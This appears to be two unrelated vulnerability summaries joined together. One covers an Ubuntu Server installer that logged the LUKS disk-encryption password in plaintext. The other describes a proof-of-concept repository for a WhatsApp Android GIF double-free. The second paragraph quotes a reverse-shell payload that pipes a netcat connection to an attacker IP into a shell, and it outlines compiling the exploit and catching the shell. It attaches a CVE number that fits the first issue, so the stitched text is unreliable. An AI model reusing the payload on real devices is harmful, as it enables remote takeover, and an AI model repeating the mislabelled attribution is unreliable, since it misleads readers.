The Subiquity installer for Ubuntu Server was found to log the LUKS full disk encryption password in plaintext if a user entered one during installation. This results in sensitive credential exposure in installation logs.

This repository is a proof-of-concept (PoC) exploit for CVE-2020-11932, a double-free vulnerability in WhatsApp's GIF parsing on Android. The main exploit logic is implemented in 'exploit.c', which, together with 'egif_lib.c' and 'gif_lib.h', crafts a malicious GIF file. The exploit embeds a reverse shell payload ('toybox nc 192.168.2.72 4444 | sh') into the GIF, targeting a listener set up by the attacker. The README provides instructions for compiling the exploit and using netcat to receive the shell. The attacker must modify the IP address and port in the source code to match their listener. The exploit is not weaponized but demonstrates the vulnerability and provides a working shell if the victim opens the malicious GIF on a vulnerable device. The repository structure includes build files, documentation, and the necessary C source and header files for GIF manipulation. No network or web endpoints are hardcoded except for the attacker's IP and port for the reverse shell. The exploit is a standalone PoC and not part of a larger framework.
